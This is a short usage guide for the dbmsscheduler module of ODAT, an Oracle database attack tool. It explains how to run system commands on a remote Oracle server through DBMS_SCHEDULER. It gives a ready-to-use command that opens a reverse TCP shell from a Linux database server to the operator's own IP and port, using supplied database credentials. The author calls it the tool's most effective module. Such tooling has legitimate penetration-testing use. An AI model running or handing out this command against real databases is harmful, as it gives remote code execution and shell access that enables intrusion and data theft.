dbmsscheduler

Get a reverse shell

This module can be used to execute system commands on a remote database server. Useful to get a reverse tcp shell.

Note 1: It is not possible to:

~ get the output of the system command

~ to give some special characters in arguments to the system command (ex: >)

• To get a reverse tcp shell when the remote database server is a Linux:

./odat.py dbmsscheduler -s $SERVER -d $SID -U $USER -P $PASSWORD --reverse-shell $MY_IP $A_LOCAL_PORT

Note 2: You don't need to open a listen port manually to have a reverse tcp shell: The module will open the specified port for you.

I think it is the most useful and most effective module: Many times I have meet Oracle users who can use the Oracle DBMS_SCHEDULER library but not JAVA.